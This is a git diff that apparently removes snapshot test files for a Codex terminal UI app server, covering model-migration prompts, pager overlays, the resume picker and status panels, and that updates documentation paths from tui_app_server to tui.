+0,0 @@ ---- -source: tui_app_server/src/model_migration.rs -expression: terminal.backend() ---- - -> Codex just got an upgrade. Introducing gpt-5.1-codex-max. - - We recommend switching from gpt-5-codex to - gpt-5.1-codex-max. - - Codex-optimized flagship for deep and fast reasoning. - Learn more about gpt-5.1-codex-max at - https://www.codex.com/models/gpt-5.1-codex-max - - Press enter to continue diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__model_migration__tests__model_migration_prompt_gpt5_codex_mini.snap b/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__model_migration__tests__model_migration_prompt_gpt5_codex_mini.snap deleted file mode 100644 index 183d61a6e..000000000 --- a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__model_migration__tests__model_migration_prompt_gpt5_codex_mini.snap +++ /dev/null @@ -1,15 +0,0 @@ ---- -source: tui_app_server/src/model_migration.rs -expression: terminal.backend() ---- - -> Codex just got an upgrade. Introducing gpt-5.1-codex-mini. - - We recommend switching from gpt-5-codex-mini to - gpt-5.1-codex-mini. - - Optimized for codex. Cheaper, faster, but less capable. - Learn more about gpt-5.1-codex-mini at - https://www.codex.com/models/gpt-5.1-codex-mini - - Press enter to continue diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__model_migration__tests__model_migration_prompt_gpt5_family.snap b/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__model_migration__tests__model_migration_prompt_gpt5_family.snap deleted file mode 100644 index 0457b66f9..000000000 --- a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__model_migration__tests__model_migration_prompt_gpt5_family.snap +++ /dev/null @@ -1,13 +0,0 @@ ---- -source: tui_app_server/src/model_migration.rs -expression: terminal.backend() ---- - -> Codex just got an upgrade. Introducing gpt-5.1. - - We recommend switching from gpt-5 to gpt-5.1. - - Broad world knowledge with strong general reasoning. Learn more - about gpt-5.1 at https://www.codex.com/models/gpt-5.1 - - Press enter to continue diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__multi_agents__tests__collab_agent_transcript.snap b/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__multi_agents__tests__collab_agent_transcript.snap deleted file mode 100644 index 7ec7ba8de..000000000 --- a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__multi_agents__tests__collab_agent_transcript.snap +++ /dev/null @@ -1,17 +0,0 @@ ---- -source: tui_app_server/src/multi_agents.rs -expression: snapshot ---- -• Spawned Robie [explorer] (gpt-5 high) - └ Compute 11! and reply with just the integer result. - -• Sent input to Robie [explorer] - └ Please continue and return the answer only. - -• Waiting for Robie [explorer] - -• Finished waiting - └ Robie [explorer]: Completed - 39916800 - Bob [worker]: Error - tool timeout - -• Closed Robie [explorer] diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__pager_overlay__tests__static_overlay_snapshot_basic.snap b/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__pager_overlay__tests__static_overlay_snapshot_basic.snap deleted file mode 100644 index edbdb28b3..000000000 --- a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__pager_overlay__tests__static_overlay_snapshot_basic.snap +++ /dev/null @@ -1,14 +0,0 @@ ---- -source: tui_app_server/src/pager_overlay.rs -expression: term.backend() ---- -"/ S T A T I C / / / / / / / / / / / / / " -"one " -"two " -"three " -"~ " -"~ " -"───────────────────────────────── 100% ─" -" ↑/↓ to scroll pgup/pgdn to page hom" -" q to quit " -" " diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__pager_overlay__tests__static_overlay_wraps_long_lines.snap b/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__pager_overlay__tests__static_overlay_wraps_long_lines.snap deleted file mode 100644 index 11abbf5f2..000000000 --- a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__pager_overlay__tests__static_overlay_wraps_long_lines.snap +++ /dev/null @@ -1,12 +0,0 @@ ---- -source: tui_app_server/src/pager_overlay.rs -expression: term.backend() ---- -"/ S T A T I C / / / / / " -"a very long line that " -"should wrap when " -"rendered within a narrow" -"─────────────────── 0% ─" -" ↑/↓ to scroll pgup/pg" -" q to quit " -" " diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__pager_overlay__tests__transcript_overlay_apply_patch_scroll_vt100.snap b/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__pager_overlay__tests__transcript_overlay_apply_patch_scroll_vt100.snap deleted file mode 100644 index 67649ae89..000000000 --- a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__pager_overlay__tests__transcript_overlay_apply_patch_scroll_vt100.snap +++ /dev/null @@ -1,15 +0,0 @@ ---- -source: tui_app_server/src/pager_overlay.rs -expression: snapshot ---- -/ T R A N S C R I P T / / / / / / / / / / / / / / / / / / / / / / / / / / / / / -• Added foo.txt (+2 -0) - 1 +hello - 2 +world - -• Added foo.txt (+2 -0) - 1 +hello - 2 +world -─────────────────────────────────────────────────────────────────────────── 0% ─ - ↑/↓ to scroll pgup/pgdn to page home/end to jump - q to quit esc to edit prev diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__pager_overlay__tests__transcript_overlay_renders_live_tail.snap b/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__pager_overlay__tests__transcript_overlay_renders_live_tail.snap deleted file mode 100644 index 3c4d55905..000000000 --- a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__pager_overlay__tests__transcript_overlay_renders_live_tail.snap +++ /dev/null @@ -1,14 +0,0 @@ ---- -source: tui_app_server/src/pager_overlay.rs -expression: term.backend() ---- -"/ T R A N S C R I P T / / / / / / / / / " -"alpha " -" " -"tail " -"~ " -"~ " -"───────────────────────────────── 100% ─" -" ↑/↓ to scroll pgup/pgdn to page hom" -" q to quit esc to edit prev " -" " diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__pager_overlay__tests__transcript_overlay_snapshot_basic.snap b/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__pager_overlay__tests__transcript_overlay_snapshot_basic.snap deleted file mode 100644 index d2cfb476d..000000000 --- a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__pager_overlay__tests__transcript_overlay_snapshot_basic.snap +++ /dev/null @@ -1,14 +0,0 @@ ---- -source: tui_app_server/src/pager_overlay.rs -expression: term.backend() ---- -"/ T R A N S C R I P T / / / / / / / / / " -"alpha " -" " -"beta " -" " -"gamma " -"───────────────────────────────── 100% ─" -" ↑/↓ to scroll pgup/pgdn to page hom" -" q to quit esc to edit prev " -" " diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__resume_picker__tests__resume_picker_search_error.snap b/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__resume_picker__tests__resume_picker_search_error.snap deleted file mode 100644 index 8fc69e48f..000000000 --- a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__resume_picker__tests__resume_picker_search_error.snap +++ /dev/null @@ -1,5 +0,0 @@ ---- -source: tui_app_server/src/resume_picker.rs -expression: snapshot ---- -Failed to read session metadata from /tmp/missing.jsonl diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__resume_picker__tests__resume_picker_table.snap b/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__resume_picker__tests__resume_picker_table.snap deleted file mode 100644 index 218035404..000000000 --- a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__resume_picker__tests__resume_picker_table.snap +++ /dev/null @@ -1,8 +0,0 @@ ---- -source: tui_app_server/src/resume_picker.rs -expression: snapshot ---- - Created at Updated at Branch CWD Conversation - 16 minutes ago 42 seconds ago - - Fix resume picker timestamps -> 1 hour ago 35 minutes ago - - Investigate lazy pagination cap - 2 hours ago 2 hours ago - - Explain the codebase diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__resume_picker__tests__resume_picker_thread_names.snap b/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__resume_picker__tests__resume_picker_thread_names.snap deleted file mode 100644 index dd9bea516..000000000 --- a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__resume_picker__tests__resume_picker_thread_names.snap +++ /dev/null @@ -1,7 +0,0 @@ ---- -source: tui_app_server/src/resume_picker.rs -expression: snapshot ---- - Created at Updated at Branch CWD Conversation -> - 2 days ago - - Keep this for now - - 3 days ago - - Named thread diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__status_indicator_widget__tests__renders_truncated.snap b/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__status_indicator_widget__tests__renders_truncated.snap deleted file mode 100644 index a495306cc..000000000 --- a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__status_indicator_widget__tests__renders_truncated.snap +++ /dev/null @@ -1,6 +0,0 @@ ---- -source: tui_app_server/src/status_indicator_widget.rs -expression: terminal.backend() ---- -"• Working (0s • esc…" -" " diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__status_indicator_widget__tests__renders_with_working_header.snap b/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__status_indicator_widget__tests__renders_with_working_header.snap deleted file mode 100644 index 7f68d6b6d..000000000 --- a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__status_indicator_widget__tests__renders_with_working_header.snap +++ /dev/null @@ -1,6 +0,0 @@ ---- -source: tui_app_server/src/status_indicator_widget.rs -expression: terminal.backend() ---- -"• Working (0s • esc to interrupt) " -" " diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__status_indicator_widget__tests__renders_wrapped_details_panama_two_lines.snap b/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__status_indicator_widget__tests__renders_wrapped_details_panama_two_lines.snap deleted file mode 100644 index 921187eb1..000000000 --- a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__status_indicator_widget__tests__renders_wrapped_details_panama_two_lines.snap +++ /dev/null @@ -1,7 +0,0 @@ ---- -source: tui_app_server/src/status_indicator_widget.rs -expression: terminal.backend() ---- -"• Working (0s) " -" └ A man a plan a canal " -" panama " diff --git a/codex-rs/tui_app_server/src/status/snapshots/codex_tui_app_server__status__tests__status_snapshot_cached_limits_hide_credits_without_flag.snap b/codex-rs/tui_app_server/src/status/snapshots/codex_tui_app_server__status__tests__status_snapshot_cached_limits_hide_credits_without_flag.snap deleted file mode 100644 index 3d915dc7d..000000000 --- a/codex-rs/tui_app_server/src/status/snapshots/codex_tui_app_server__status__tests__status_snapshot_cached_limits_hide_credits_without_flag.snap +++ /dev/null @@ -1,23 +0,0 @@ ---- -source: tui_app_server/src/status/tests.rs -expression: sanitized ---- -/status - -╭─────────────────────────────────────────────────────────────────────╮ -│ >_ OpenAI Codex (v0.0.0) │ -│ │ -│ Visit https://chatgpt.com/codex/settings/usage for up-to-date │ -│ information on rate limits and credits │ -│ │ -│ Model: gpt-5.1-codex (reasoning none, summaries auto) │ -│ Directory: [[workspace]] │ -│ Permissions: Custom (read-only, on-request) │ -│ Agents.md: │ -│ │ -│ Token usage: 1.05K total (700 input + 350 output) │ -│ Context window: 100% left (1.45K used / 272K) │ -│ 5h limit: [████████░░░░░░░░░░░░] 40% left (resets 11:32) │ -│ Weekly limit: [█████████████░░░░░░░] 65% left (resets 11:52) │ -│ Warning: limits may be stale - start new turn to refresh. │ -╰─────────────────────────────────────────────────────────────────────╯ diff --git a/codex-rs/tui_app_server/src/status/snapshots/codex_tui_app_server__status__tests__status_snapshot_includes_credits_and_limits.snap b/codex-rs/tui_app_server/src/status/snapshots/codex_tui_app_server__status__tests__status_snapshot_includes_credits_and_limits.snap deleted file mode 100644 index 5f1f19941..000000000 --- a/codex-rs/tui_app_server/src/status/snapshots/codex_tui_app_server__status__tests__status_snapshot_includes_credits_and_limits.snap +++ /dev/null @@ -1,23 +0,0 @@ ---- -source: tui_app_server/src/status/tests.rs -expression: sanitized ---- -/status - -╭───────────────────────────────────────────────────────────────────╮ -│ >_ OpenAI Codex (v0.0.0) │ -│ │ -│ Visit https://chatgpt.com/codex/settings/usage for up-to-date │ -│ information on rate limits and credits │ -│ │ -│ Model: gpt-5.1-codex (reasoning none, summaries auto) │ -│ Directory: [[workspace]] │ -│ Permissions: Custom (read-only, on-request) │ -│ Agents.md: │ -│ │ -│ Token usage: 2K total (1.4K input + 600 output) │ -│ Context window: 100% left (2.2K used / 272K) │ -│ 5h limit: [███████████░░░░░░░░░] 55% left (resets 09:25) │ -│ Weekly limit: [██████████████░░░░░░] 70% left (resets 09:55) │ -│ Credits: 38 credits │ -╰───────────────────────────────────────────────────────────────────╯ diff --git a/codex-rs/tui_app_server/src/status/snapshots/codex_tui_app_server__status__tests__status_snapshot_includes_forked_from.snap b/codex-rs/tui_app_server/src/status/snapshots/codex_tui_app_server__status__tests__status_snapshot_includes_forked_from.snap deleted file mode 100644 index cb3ed002b..000000000 --- a/codex-rs/tui_app_server/src/status/snapshots/codex_tui_app_server__status__tests__status_snapshot_includes_forked_from.snap +++ /dev/null @@ -1,23 +0,0 @@ ---- -source: tui_app_server/src/status/tests.rs -expression: sanitized ---- -/status - -╭───────────────────────────────────────────────────────────────────────╮ -│ >_ OpenAI Codex (v0.0.0) │ -│ │ -│ Visit https://chatgpt.com/codex/settings/usage for up-to-date │ -│ information on rate limits and credits │ -│ │ -│ Model: gpt-5.1-codex-max (reasoning none, summaries auto) │ -│ Directory: [[workspace]] │ -│ Permissions: Custom (read-only, on-request) │ -│ Agents.md: │ -│ Session: 0f0f3c13-6cf9-4aa4-8b80-7d49c2f1be2e │ -│ Forked from: e9f18a88-8081-4e51-9d4e-8af5cde2d8dd │ -│ │ -│ Token usage: 1.2K total (800 input + 400 output) │ -│ Context window: 100% left (1.2K used / 272K) │ -│ Limits: data not available yet │ -╰───────────────────────────────────────────────────────────────────────╯ diff --git a/codex-rs/tui_app_server/src/status/snapshots/codex_tui_app_server__status__tests__status_snapshot_includes_monthly_limit.snap b/codex-rs/tui_app_server/src/status/snapshots/codex_tui_app_server__status__tests__status_snapshot_includes_monthly_limit.snap deleted file mode 100644 index d35d89ed6..000000000 --- a/codex-rs/tui_app_server/src/status/snapshots/codex_tui_app_server__status__tests__status_snapshot_includes_monthly_limit.snap +++ /dev/null @@ -1,21 +0,0 @@ ---- -source: tui_app_server/src/status/tests.rs -expression: sanitized ---- -/status - -╭────────────────────────────────────────────────────────────────────────────╮ -│ >_ OpenAI Codex (v0.0.0) │ -│ │ -│ Visit https://chatgpt.com/codex/settings/usage for up-to-date │ -│ information on rate limits and credits │ -│ │ -│ Model: gpt-5.1-codex-max (reasoning none, summaries auto) │ -│ Directory: [[workspace]] │ -│ Permissions: Custom (read-only, on-request) │ -│ Agents.md: │ -│ │ -│ Token usage: 1.2K total (800 input + 400 output) │ -│ Context window: 100% left (1.2K used / 272K) │ -│ Monthly limit: [██████████████████░░] 88% left (resets 07:08 on 7 May) │ -╰────────────────────────────────────────────────────────────────────────────╯ diff --git a/codex-rs/tui_app_server/src/status/snapshots/codex_tui_app_server__status__tests__status_snapshot_includes_reasoning_details.snap b/codex-rs/tui_app_server/src/status/snapshots/codex_tui_app_server__status__tests__status_snapshot_includes_reasoning_details.snap deleted file mode 100644 index 7eff624b3..000000000 --- a/codex-rs/tui_app_server/src/status/snapshots/codex_tui_app_server__status__tests__status_snapshot_includes_reasoning_details.snap +++ /dev/null @@ -1,22 +0,0 @@ ---- -source: tui_app_server/src/status/tests.rs -expression: sanitized ---- -/status - -╭───────────────────────────────────────────────────────────────────────────╮ -│ >_ OpenAI Codex (v0.0.0) │ -│ │ -│ Visit https://chatgpt.com/codex/settings/usage for up-to-date │ -│ information on rate limits and credits │ -│ │ -│ Model: gpt-5.1-codex-max (reasoning high, summaries detailed) │ -│ Directory: [[workspace]] │ -│ Permissions: Default │ -│ Agents.md: │ -│ │ -│ Token usage: 1.9K total (1K input + 900 output) │ -│ Context window: 100% left (2.25K used / 272K) │ -│ 5h limit: [██████░░░░░░░░░░░░░░] 28% left (resets 03:14) │ -│ Weekly limit: [███████████░░░░░░░░░] 55% left (resets 03:24) │ -╰───────────────────────────────────────────────────────────────────────────╯ diff --git a/codex-rs/tui_app_server/src/status/snapshots/codex_tui_app_server__status__tests__status_snapshot_shows_empty_limits_message.snap b/codex-rs/tui_app_server/src/status/snapshots/codex_tui_app_server__status__tests__status_snapshot_shows_empty_limits_message.snap deleted file mode 100644 index 19789026b..000000000 --- a/codex-rs/tui_app_server/src/status/snapshots/codex_tui_app_server__status__tests__status_snapshot_shows_empty_limits_message.snap +++ /dev/null @@ -1,21 +0,0 @@ ---- -source: tui_app_server/src/status/tests.rs -expression: sanitized ---- -/status - -╭───────────────────────────────────────────────────────────────────────╮ -│ >_ OpenAI Codex (v0.0.0) │ -│ │ -│ Visit https://chatgpt.com/codex/settings/usage for up-to-date │ -│ information on rate limits and credits │ -│ │ -│ Model: gpt-5.1-codex-max (reasoning none, summaries auto) │ -│ Directory: [[workspace]] │ -│ Permissions: Custom (read-only, on-request) │ -│ Agents.md: │ -│ │ -│ Token usage: 750 total (500 input + 250 output) │ -│ Context window: 100% left (750 used / 272K) │ -│ Limits: data not available yet │ -╰───────────────────────────────────────────────────────────────────────╯ diff --git a/codex-rs/tui_app_server/src/status/snapshots/codex_tui_app_server__status__tests__status_snapshot_shows_missing_limits_message.snap b/codex-rs/tui_app_server/src/status/snapshots/codex_tui_app_server__status__tests__status_snapshot_shows_missing_limits_message.snap deleted file mode 100644 index 19789026b..000000000 --- a/codex-rs/tui_app_server/src/status/snapshots/codex_tui_app_server__status__tests__status_snapshot_shows_missing_limits_message.snap +++ /dev/null @@ -1,21 +0,0 @@ ---- -source: tui_app_server/src/status/tests.rs -expression: sanitized ---- -/status - -╭───────────────────────────────────────────────────────────────────────╮ -│ >_ OpenAI Codex (v0.0.0) │ -│ │ -│ Visit https://chatgpt.com/codex/settings/usage for up-to-date │ -│ information on rate limits and credits │ -│ │ -│ Model: gpt-5.1-codex-max (reasoning none, summaries auto) │ -│ Directory: [[workspace]] │ -│ Permissions: Custom (read-only, on-request) │ -│ Agents.md: │ -│ │ -│ Token usage: 750 total (500 input + 250 output) │ -│ Context window: 100% left (750 used / 272K) │ -│ Limits: data not available yet │ -╰───────────────────────────────────────────────────────────────────────╯ diff --git a/codex-rs/tui_app_server/src/status/snapshots/codex_tui_app_server__status__tests__status_snapshot_shows_stale_limits_message.snap b/codex-rs/tui_app_server/src/status/snapshots/codex_tui_app_server__status__tests__status_snapshot_shows_stale_limits_message.snap deleted file mode 100644 index 45dbf5bf2..000000000 --- a/codex-rs/tui_app_server/src/status/snapshots/codex_tui_app_server__status__tests__status_snapshot_shows_stale_limits_message.snap +++ /dev/null @@ -1,23 +0,0 @@ ---- -source: tui_app_server/src/status/tests.rs -expression: sanitized ---- -/status - -╭───────────────────────────────────────────────────────────────────────╮ -│ >_ OpenAI Codex (v0.0.0) │ -│ │ -│ Visit https://chatgpt.com/codex/settings/usage for up-to-date │ -│ information on rate limits and credits │ -│ │ -│ Model: gpt-5.1-codex-max (reasoning none, summaries auto) │ -│ Directory: [[workspace]] │ -│ Permissions: Custom (read-only, on-request) │ -│ Agents.md: │ -│ │ -│ Token usage: 1.9K total (1K input + 900 output) │ -│ Context window: 100% left (2.25K used / 272K) │ -│ 5h limit: [██████░░░░░░░░░░░░░░] 28% left (resets 03:14) │ -│ Weekly limit: [████████████░░░░░░░░] 60% left (resets 03:34) │ -│ Warning: limits may be stale - start new turn to refresh. │ -╰───────────────────────────────────────────────────────────────────────╯ diff --git a/codex-rs/tui_app_server/src/status/snapshots/codex_tui_app_server__status__tests__status_snapshot_truncates_in_narrow_terminal.snap b/codex-rs/tui_app_server/src/status/snapshots/codex_tui_app_server__status__tests__status_snapshot_truncates_in_narrow_terminal.snap deleted file mode 100644 index 7b7b4261a..000000000 --- a/codex-rs/tui_app_server/src/status/snapshots/codex_tui_app_server__status__tests__status_snapshot_truncates_in_narrow_terminal.snap +++ /dev/null @@ -1,21 +0,0 @@ ---- -source: tui_app_server/src/status/tests.rs -expression: sanitized ---- -/status - -╭────────────────────────────────────────────────────────────────────╮ -│ >_ OpenAI Codex (v0.0.0) │ -│ │ -│ Visit https://chatgpt.com/codex/settings/usage for up-to-date │ -│ information on rate limits and credits │ -│ │ -│ Model: gpt-5.1-codex-max (reasoning high, summaries de │ -│ Directory: [[workspace]] │ -│ Permissions: Custom (read-only, on-request) │ -│ Agents.md: │ -│ │ -│ Token usage: 1.9K total (1K input + 900 output) │ -│ Context window: 100% left (2.25K used / 272K) │ -│ 5h limit: [██████░░░░░░░░░░░░░░] 28% left (resets 03:14) │ -╰────────────────────────────────────────────────────────────────────╯ diff --git a/docs/tui-alternate-screen.md b/docs/tui-alternate-screen.md index c1346d2c0..2fe141a2f 100644 --- a/docs/tui-alternate-screen.md +++ b/docs/tui-alternate-screen.md @@ -75,7 +75,7 @@ let terminal_info = codex_core::terminal::terminal_info(); !matches!(terminal_info.multiplexer, Some(Multiplexer::Zellij { .. })) ``` -This detection happens in the helper function `determine_alt_screen_mode()` in `codex-rs/tui_app_server/src/lib.rs`. +This detection happens in the helper function `determine_alt_screen_mode()` in `codex-rs/tui/src/lib.rs`. ### Configuration Schema diff --git a/docs/tui-chat-composer.md b/docs/tui-chat-composer.md index 3d0431b10..5630b84ec 100644 --- a/docs/tui-chat-composer.md +++ b/docs/tui-chat-composer.md @@ -5,11 +5,11 @@ for Windows terminals. Primary implementations: -- `codex-rs/tui_app_server/src/bottom_pane/chat_composer.rs` +- `codex-rs/tui/src/bottom_pane/chat_composer.rs` Paste-burst detector: -- `codex-rs/tui_app_server/src/bottom_pane/paste_burst.rs` +- `codex-rs/tui/src/bottom_pane/paste_burst.rs` ## What problem is being solved? @@ -68,7 +68,7 @@ while still providing a richer recall experience for in-session edits. ## Config gating for reuse `ChatComposer` now supports feature gating via `ChatComposerConfig` -(`codex-rs/tui_app_server/src/bottom_pane/chat_composer.rs`). The default config preserves current chat +(`codex-rs/tui/src/bottom_pane/chat_composer.rs`). The default config preserves current chat behavior. Flags: @@ -90,7 +90,7 @@ Key effects when disabled: dropping the draft. Built-in slash command availability is centralized in -`codex-rs/tui_app_server/src/bottom_pane/slash_commands.rs` and reused by both the composer and the command +`codex-rs/tui/src/bottom_pane/slash_commands.rs` and reused by both the composer and the command popup so gating stays in sync. ## Submission flow (Enter/Tab) @@ -345,7 +345,7 @@ Non-char input must not leak burst state across unrelated actions: The `PasteBurst` logic is currently exercised through `ChatComposer` integration tests. -- `codex-rs/tui_app_server/src/bottom_pane/chat_composer.rs` +- `codex-rs/tui/src/bottom_pane/chat_composer.rs` - `non_ascii_burst_handles_newline` - `ascii_burst_treats_enter_as_newline` - `question_mark_does_not_toggle_during_paste_burst` diff --git a/docs/tui-stream-chunking-review.md b/docs/tui-stream-chunking-review.md index f5731a60a..3722492dd 100644 --- a/docs/tui-stream-chunking-review.md +++ b/docs/tui-stream-chunking-review.md @@ -25,13 +25,13 @@ and visible output lags behind received output. ## Where the logic lives -- `codex-rs/tui_app_server/src/streaming/chunking.rs` +- `codex-rs/tui/src/streaming/chunking.rs` - Adaptive policy, mode transitions, and drain-plan selection. -- `codex-rs/tui_app_server/src/streaming/commit_tick.rs` +- `codex-rs/tui/src/streaming/commit_tick.rs` - Orchestration for each commit tick: snapshot, decide, drain, trace. -- `codex-rs/tui_app_server/src/streaming/controller.rs` +- `codex-rs/tui/src/streaming/controller.rs` - Queue/drain primitives used by commit-tick orchestration. -- `codex-rs/tui_app_server/src/chatwidget.rs` +- `codex-rs/tui/src/chatwidget.rs` - Integration point that invokes commit-tick orchestration and handles UI lifecycle events. diff --git a/docs/tui-stream-chunking-tuning.md b/docs/tui-stream-chunking-tuning.md index 2d2d92e7e..d9a2ea5e2 100644 --- a/docs/tui-stream-chunking-tuning.md +++ b/docs/tui-stream-chunking-tuning.md @@ -6,8 +6,8 @@ changing the underlying policy shape. ## Scope Use this guide when adjusting queue-pressure thresholds and hysteresis windows in -`codex-rs/tui_app_server/src/streaming/chunking.rs`, and baseline commit cadence in -`codex-rs/tui_app_server/src/app.rs`. +`codex-rs/tui/src/streaming/chunking.rs`, and baseline commit cadence in +`codex-rs/tui/src/app.rs`. This guide is about tuning behavior, not redesigning the policy.